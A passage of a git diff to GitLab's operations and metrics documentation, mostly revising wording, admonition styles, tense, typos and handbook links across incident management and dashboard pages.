to remove. -### Enable or disable feature flag strategies - -This feature is under development, but is ready for production use. It's -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) -can disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:feature_flags_new_version) -``` - -To enable it: - -```ruby -Feature.enable(:feature_flags_new_version) -``` - ## Rollout strategy (legacy) > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2. diff --git a/doc/operations/incident_management/alert_details.md b/doc/operations/incident_management/alert_details.md index 459331ea0a5..cd73e9e7e1f 100644 --- a/doc/operations/incident_management/alert_details.md +++ b/doc/operations/incident_management/alert_details.md @@ -3,3 +3,6 @@ redirect_to: alerts.md --- This document was moved to [another location](alerts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md index 7850841d380..70c4e7f2f29 100644 --- a/doc/operations/incident_management/alert_integrations.md +++ b/doc/operations/incident_management/alert_integrations.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Alert integrations @@ -27,12 +27,12 @@ The list displays the integration name, type, and status (enabled or disabled): ## Configuration -GitLab can receive alerts via a [HTTP endpoint](#generic-http-endpoint) that you configure, +GitLab can receive alerts via a HTTP endpoint that you configure, or the [Prometheus integration](#external-prometheus-integration). -### Generic HTTP Endpoint **CORE** +### Single HTTP Endpoint **CORE** -Enabling the Generic HTTP Endpoint activates a unique HTTP endpoint that can +Enabling the HTTP Endpoint in a GitLab projects activates it to receive alert payloads in JSON format. You can always [customize the payload](#customize-the-alert-payload-outside-of-gitlab) to your liking. @@ -60,10 +60,10 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl 1. In the **Integration** dropdown menu, select **HTTP Endpoint**. 1. Name the integration. 1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** - for the webhook configuration. You will input the URL and Authorization Key + for the webhook configuration. You must also input the URL and Authorization Key in your external service. 1. _(Optional)_ To generate a test alert to test the new integration, enter a - sample payload, then click **Save and test alert payload**.Valid JSON is required. + sample payload, then click **Save and test alert payload**. Valid JSON is required. 1. Click **Save Integration**. The new HTTP Endpoint displays in the [integrations list](#integrations-list). @@ -102,7 +102,7 @@ can be a nested JSON object. For example: { "foo": { "bar": { "baz": 42 } } } ``` -TIP: **Tip:** +NOTE: Ensure your requests are smaller than the [payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads). @@ -170,18 +170,18 @@ If the existing alert is already `resolved`, GitLab creates a new alert instead. ## Link to your Opsgenie Alerts -DANGER: **Deprecated:** +WARNING: We are building deeper integration with Opsgenie and other alerting tools through -[HTTP endpoint integrations](#generic-http-endpoint) so you can see alerts within +[HTTP endpoint integrations](#single-http-endpoint) so you can see alerts within the GitLab interface. As a result, the previous direct link to Opsgenie Alerts from -the GitLab alerts list will be deprecated following the 13.7 release on December 22, 2020. +the GitLab alerts list is scheduled for deprecation following the 13.7 release on December 22, 2020. > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. You can monitor alerts using a GitLab integration with [Opsgenie](https://www.atlassian.com/software/opsgenie). If you enable the Opsgenie integration, you can't have other GitLab alert -services, such as [Generic Alerts](generic_alerts.md) or Prometheus alerts, +services active at the same time. To enable Opsgenie integration: diff --git a/doc/operations/incident_management/alert_notifications.md b/doc/operations/incident_management/alert_notifications.md index 130c4e82088..eaf606105d6 100644 --- a/doc/operations/incident_management/alert_notifications.md +++ b/doc/operations/incident_management/alert_notifications.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Paging and notifications diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index 37836f4ab50..a8852a02f2b 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -1,12 +1,12 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Alerts -Alerts are a critical entity in your incident managment workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened. +Alerts are a critical entity in your incident management workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened. ## Alert List @@ -37,7 +37,7 @@ The alert list displays the following information: - **Acknowledged**: Someone is actively investigating the problem. - **Resolved**: No further work is required. -TIP: **Tip:** +NOTE: Check out a live example available from the [`tanuki-inc` project page](https://gitlab-examples-ops-incident-setup-everyone-tanuki-inc.34.69.64.147.nip.io/) in GitLab to examine alerts in action. @@ -67,7 +67,7 @@ Navigate to the Alert details view by visiting the [Alert list](alerts.md) and selecting an alert from the list. You need least Developer [permissions](../../user/permissions.md) to access alerts. -TIP: **Tip:** +NOTE: To review live examples of GitLab alerts, visit the [alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management) for this demo project. Select any alert in the list to examine its alert details @@ -78,13 +78,13 @@ amount of information you need. ### Alert details tab -The **Alert details** tab has two sections. The top section provides a short list of critical details such as the severity, start time, number of events, and originating monitorting tool. The second section displays the full alert payload. +The **Alert details** tab has two sections. The top section provides a short list of critical details such as the severity, start time, number of events, and originating monitoring tool. The second section displays the full alert payload. ### Metrics tab > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2. -The **Metrics** tab will display a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab will be empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you will need to configure your alerting +The **Metrics** tab displays a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab is empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you must configure your alerting rules to display a chart in the alert. For information about how to configure your alerting rules, see [Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues). See [External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) @@ -127,7 +127,7 @@ To view the logs for an alert: The **Activity feed** tab is a log of activity on the alert. When you take action on an alert, this is logged as a system note. This gives you a linear timeline of the alert's investigation and assignment history. -The following actions will result in a system note: +The following actions result in a system note: - [Updating the status of an alert](#update-an-alerts-status) - [Creating an incident based on an alert](#create-an-incident-from-an-alert) @@ -137,7 +137,7 @@ The following actions will result in a system note: ## Alert actions -There are different actions avilable in GitLab to help triage and respond to alerts. +There are different actions available in GitLab to help triage and respond to alerts. ### Update an alert's status @@ -222,7 +222,7 @@ the correct runbook: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232492) in GitLab 13.5 behind a feature flag, disabled by default. > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/232492) in GitLab 13.6. -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. The environment information and the link are displayed in the [Alert Details tab](#alert-details-tab). diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md index 29d609f1811..44b1f4b088a 100644 --- a/doc/operations/incident_management/generic_alerts.md +++ b/doc/operations/incident_management/generic_alerts.md @@ -3,3 +3,6 @@ redirect_to: alert_integrations.md --- This document was moved to [another location](alert_integrations.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/img/incident_management_settings_v13_3.png b/doc/operations/incident_management/img/incident_management_settings_v13_3.png Binary files differdeleted file mode 100644 index c9520860414..00000000000 --- a/doc/operations/incident_management/img/incident_management_settings_v13_3.png +++ /dev/null diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index 13a755bbb6f..074cacd2e30 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Incidents @@ -46,10 +46,7 @@ Incident, you have two options to do this manually. With Maintainer or higher [permissions](../../user/permissions.md), you can enable GitLab to create incident automatically whenever an alert is triggered: -1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**: - -  - +1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**. 1. Check the **Create an incident** checkbox. 1. To customize the incident, select an [issue template](../../user/project/description_templates.md#creating-issue-templates). @@ -121,7 +118,7 @@ display an arrow next to the column name. Incidents share the [Issues API](../../user/project/issues/index.md). -TIP: **Tip:** +NOTE: For a live example of the incident list in action, visit this [demo project](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/incidents). diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md index 60571c03d74..b0274537941 100644 --- a/doc/operations/incident_management/index.md +++ b/doc/operations/incident_management/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Incident management diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md index 9d4f32ab2bf..8c2159c130b 100644 --- a/doc/operations/incident_management/integrations.md +++ b/doc/operations/incident_management/integrations.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrations diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index 4230091866e..6514a80a32b 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Status Page @@ -83,7 +83,7 @@ the necessary CI/CD variables to deploy the Status Page to AWS S3: 1. Navigate to **CI / CD > Pipelines > Run Pipeline**, and run the pipeline to deploy the Status Page to S3. -CAUTION: **Caution:** +WARNING: Consider limiting who can access issues in this project, as any user who can view the issue can potentially [publish comments to your GitLab Status Page](#publish-comments-on-incidents). @@ -128,11 +128,11 @@ To publish an incident: issue to the GitLab Status Page. Confidential issues can't be published. A background worker publishes the issue onto the Status Page using the credentials -you provided during setup. As part of publication, GitLab will: +you provided during setup. As part of publication, GitLab: -- Anonymize user and group mentions with `Incident Responder`. -- Remove titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references). -- Publish any files attached to incident issue descriptions, up to 5000 per issue. +- Anonymizes user and group mentions with `Incident Responder`. +- Removes titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references). +- Publishes any files attached to incident issue descriptions, up to 5000 per issue. ([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).) After publication, you can access the incident's details page by clicking the @@ -144,7 +144,7 @@ After publication, you can access the incident's details page by clicking the To publish an update to the Incident, update the incident issue's description. -CAUTION: **Caution:** +WARNING: When referenced issues are changed (such as title or confidentiality) the incident they were referenced in is not updated. @@ -159,7 +159,7 @@ To publish comments to the Status Page Incident: - Any files attached to the comment (up to 5000 per issue) are also published. ([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).) -CAUTION: **Caution:** +WARNING: Anyone with access to view the Issue can add an emoji award to a comment, so consider limiting access to issues to team members only. diff --git a/doc/operations/index.md b/doc/operations/index.md index 8488f939893..1d738768531 100644 --- a/doc/operations/index.md +++ b/doc/operations/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project operations **(CORE)** @@ -81,7 +81,7 @@ infrastructure. GitLab stores and executes your infrastructure as code, whether it's defined in Ansible, Puppet or Chef. We also offer native integration with [Terraform](https://www.terraform.io/), uniting your GitOps and -Infrastructure-as-Code (IaC) workflows with GitLab's authentication, authorization, +Infrastructure-as-Code (IaC) workflows with the GitLab authentication, authorization, and user interface. By lowering the barrier to entry for adopting Terraform, you can manage and provision infrastructure through machine-readable definition files, rather than physical hardware configuration or interactive configuration tools. diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 79e3bdbd69c..36a73d66609 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Set up alerts for Prometheus metrics **(CORE)** @@ -53,8 +53,8 @@ as soon as the alert fires: For manually configured Prometheus servers, GitLab provides a notify endpoint for use with Prometheus webhooks. If you have manual configuration enabled, an **Alerts** section is added to **Settings > Integrations > Prometheus**. -This section contains the **URL** and **Authorization Key** you will need. The -**Reset Key** button will invalidate the key and generate a new one. +This section contains the needed **URL** and **Authorization Key**. The +**Reset Key** button invalidates the key and generates a new one.  @@ -80,12 +80,12 @@ Prometheus. The value of this should match the name of your environment in GitLa In GitLab versions 13.1 and greater, you can configure your manually configured Prometheus server to use the -[Generic alerts integration](../incident_management/generic_alerts.md). +[Generic alerts integration](../incident_management/alert_integrations.md). ## Trigger actions from alerts **(ULTIMATE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11. -> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue. +> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it automatically closes the associated issue. Alerts can be used to trigger actions, like opening an issue automatically (disabled by default since `13.1`). To configure the actions: diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md index 11e96114f38..5c6187565dd 100644 --- a/doc/operations/metrics/dashboards/default.md +++ b/doc/operations/metrics/dashboards/default.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab-defined metrics dashboards **(CORE)** diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md index 9254bfe075f..800ed401efb 100644 --- a/doc/operations/metrics/dashboards/develop.md +++ b/doc/operations/metrics/dashboards/develop.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Developing templates for custom dashboards **(CORE)** diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index c11da2926bb..f875c4a87c5 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Custom dashboards **(CORE)** @@ -65,9 +65,9 @@ To create a new dashboard from the command line: Your custom dashboard is available at `https://example.com/project/-/metrics/custom_dashboard_name.yml`. -NOTE: **Note:** -Configuration files nested under subdirectories of `.gitlab/dashboards` are not -supported and won't be available in the UI. +NOTE: +Configuration files nested under subdirectories of `.gitlab/dashboards` aren't +supported or available in the UI. ## Add a new metrics panel to a dashboard @@ -81,7 +81,7 @@ with the **Add Panel** page: [permissions](../../../user/permissions.md#project-members-permissions). 1. Click **Add panel** in the **{ellipsis_v}** **More actions** menu. - NOTE: **Note:** + NOTE: You can only add panels to custom dashboards.  @@ -156,7 +156,7 @@ and end times to the URL, enabling you to share specific timeframes more easily. You can use **Metrics Dashboard Annotations** to mark any important events on every metrics dashboard by adding annotations to it. While viewing a dashboard, -annotation entries assigned to the selected time range will be automatically +annotation entries assigned to the selected time range are automatically fetched and displayed on every chart within that dashboard. On mouse hover, each annotation presents additional details, including the exact time of an event and its description. diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md index fd9d2bf7899..86f6776e273 100644 --- a/doc/operations/metrics/dashboards/panel_types.md +++ b/doc/operations/metrics/dashboards/panel_types.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Panel types for dashboards **(CORE)** @@ -39,7 +39,7 @@ Note the following properties:  -Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values will automatically scale according to the data. Previously, it always started from 0. +Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values scale according to the data. Previously, it always started from 0. ## Anomaly chart @@ -229,7 +229,7 @@ For example, if you have a query value of `53.6`, adding `%` as the unit results ## Gauge -CAUTION: **Warning:** +WARNING: This panel type is an _alpha_ feature, and is subject to change at any time without prior notice! @@ -307,7 +307,7 @@ Note the following properties:  -CAUTION: **Warning:** +WARNING: When a query returns too many data points, the heatmap data bucket dimensions tend downwards to 0, making the chart's data invisible, as shown in the image below. To fix this problem, limit the amount of data returned by changing the time range filter on the metrics dashboard UI, or adding the **step** property to your dashboard's YAML file.  diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md index 6052b0778da..92f3a14aab9 100644 --- a/doc/operations/metrics/dashboards/settings.md +++ b/doc/operations/metrics/dashboards/settings.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dashboard settings diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md index 1c0b05b0e53..db02cc3bf98 100644 --- a/doc/operations/metrics/dashboards/templating_variables.md +++ b/doc/operations/metrics/dashboards/templating_variables.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Templating variables for metrics dashboards **(CORE)** @@ -21,12 +21,12 @@ described [in Using Variables](variables.md). ## `text` variable type -CAUTION: **Warning:** +WARNING: This variable type is an _alpha_ feature, and is subject to change at any time without prior notice! -For each `text` variable defined in the dashboard YAML, there will be a free text -box on the dashboard UI, allowing you to enter a value for each variable. +For each `text` variable defined in the dashboard YAML, a free text field displays +on the dashboard UI, allowing you to enter a value for each variable. The `text` variable type supports a simple and a full syntax. @@ -44,7 +44,7 @@ templating: ### Full syntax This example creates a variable called `variable1`, with a default value of `default`. -The label for the text box on the UI will be the value of the `label` key: +The label for the text box on the UI is the value of the `label` key: ```yaml templating: @@ -58,7 +58,7 @@ templating: ## `custom` variable type -CAUTION: **Warning:** +WARNING: This variable type is an _alpha_ feature, and is subject to change at any time without prior notice! @@ -70,7 +70,7 @@ The `custom` variable type supports a simple and a full syntax. ### Simple syntax This example creates a variable called `variable1`, with a default value of `value1`. -The dashboard UI will display a dropdown with `value1`, `value2` and `value3` +The dashboard UI displays a dropdown with `value1`, `value2` and `value3` as the choices. ```yaml @@ -82,12 +82,12 @@ templating: ### Full syntax This example creates a variable called `variable1`, with a default value of `value_option_2`. -The label for the text box on the UI will be the value of the `label` key. -The dashboard UI will display a dropdown with `Option 1` and `Option 2` +The label for the text box on the UI is the value of the `label` key. +The dashboard UI displays a dropdown with `Option 1` and `Option 2` as the choices. -If you select `Option 1` from the dropdown, the variable will be replaced with `value option 1`. -Similarly, if you select `Option 2`, the variable will be replaced with `value_option_2`: +If you select `Option 1` from the dropdown, the variable is replaced with `value option 1`. +Similarly, if you select `Option 2`, the variable is replaced with `value_option_2`: ```yaml templating: @@ -106,14 +106,14 @@ templating: ## `metric_label_values` variable type -CAUTION: **Warning:** +WARNING: This variable type is an _alpha_ feature, and is subject to change at any time without prior notice! ### Full syntax -This example creates a variable called `variable2`. The values of the dropdown will -be all the different values of the `backend` label in the Prometheus series described by +This example creates a variable called `variable2`. The values of the dropdown are +all the different values of the `backend` label in the Prometheus series described by `up{env="production"}`. ```yaml diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md index e1f5f0ce6f4..9c5ff3bd13b 100644 --- a/doc/operations/metrics/dashboards/variables.md +++ b/doc/operations/metrics/dashboards/variables.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Using variables **(CORE)** @@ -12,7 +12,7 @@ Variables can be specified using double curly braces, such as `"{{ci_environment Support for the `"%{ci_environment_slug}"` format was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31581) in GitLab 13.0. -Queries that continue to use the old format will show no data. +Queries that continue to use the old format display no data. ## Predefined variables diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md index 13397eb702a..db49de7e800 100644 --- a/doc/operations/metrics/dashboards/yaml.md +++ b/doc/operations/metrics/dashboards/yaml.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dashboard YAML properties **(CORE)** @@ -53,7 +53,7 @@ is no longer used. | `group` | string | required | Heading for the panel group. | | `panels` | array | required | The panels which should be in the panel group. | -Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels will take the full width of their containing row. +Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels take the full width of their containing row. ## **Panel (`panels`) properties** @@ -87,15 +87,15 @@ is no longer used. | `id` | string | no | Used for associating dashboard metrics with database records. Must be unique across dashboard configuration files. Required for [alerting](../alerts.md) (support not yet enabled, see [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/27980)). | | `unit` | string | yes | Defines the unit of the query's return data. | | `label` | string | no, but highly encouraged | Defines the legend-label for the query. Should be unique within the panel's metrics. Can contain time series labels as interpolated variables. | -| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. | -| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. | +| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. | +| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. | | `step` | number | no, value is calculated if not defined | Defines query resolution step width in float number of seconds. Metrics on the same panel should use the same `step` value. | ## Dynamic labels Dynamic labels are useful when multiple time series are returned from a Prometheus query. -When a static label is used and a query returns multiple time series, then all the legend items will be labeled the same, which makes identifying each time series difficult: +When a static label is used and a query returns multiple time series, then all the legend items are labeled the same, which makes identifying each time series difficult: ```yaml metrics: @@ -109,7 +109,7 @@ This may render a legend like this:  -For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables will be replaced by the values of the time series labels when the legend is rendered: +For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables are replaced by the values of the time series labels when the legend is rendered: ```yaml metrics: @@ -119,7 +119,7 @@ metrics: unit: 'count' ``` -The resulting rendered legend will look like this: +The resulting rendered legend looks like this:  @@ -133,7 +133,7 @@ metrics: unit: 'count' ``` -This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value will be used and rendered in the legend like this: +This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value renders in the legend like this:  diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md index db1606faf8d..27e4b905597 100644 --- a/doc/operations/metrics/dashboards/yaml_number_format.md +++ b/doc/operations/metrics/dashboards/yaml_number_format.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Unit formats reference **(CORE)** diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md index c0b30f18156..9a9a0b4cff2 100644 --- a/doc/operations/metrics/embed.md +++ b/doc/operations/metrics/embed.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Embedding metric charts within GitLab-flavored Markdown **(CORE)** @@ -19,7 +19,7 @@ metrics to others, and you want to have relevant information directly available. This feature requires [Kubernetes](../../user/project/integrations/prometheus_library/kubernetes.md) metrics. -Note: **Note:** +NOTE: In GitLab versions 13.3 and earlier, metrics dashboard links were in the form `https://<root_url>/<project>/-/environments/<environment_id>/metrics`. These links are still supported, and can be used to embed metric charts. diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index 532bf150777..21950354ae9 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Embedding Grafana charts **(CORE)** @@ -23,7 +23,7 @@ For this embed to display correctly, the Copy the link and add an image tag as [inline HTML](../../user/markdown.md#inline-html) in your Markdown. You can tweak the query parameters to meet your needs, such as removing the `&from=` and `&to=` parameters to display a live chart. Here is example -markup for a live chart from GitLab's public dashboard: +markup for a live chart from a GitLab public dashboard: ```html <img 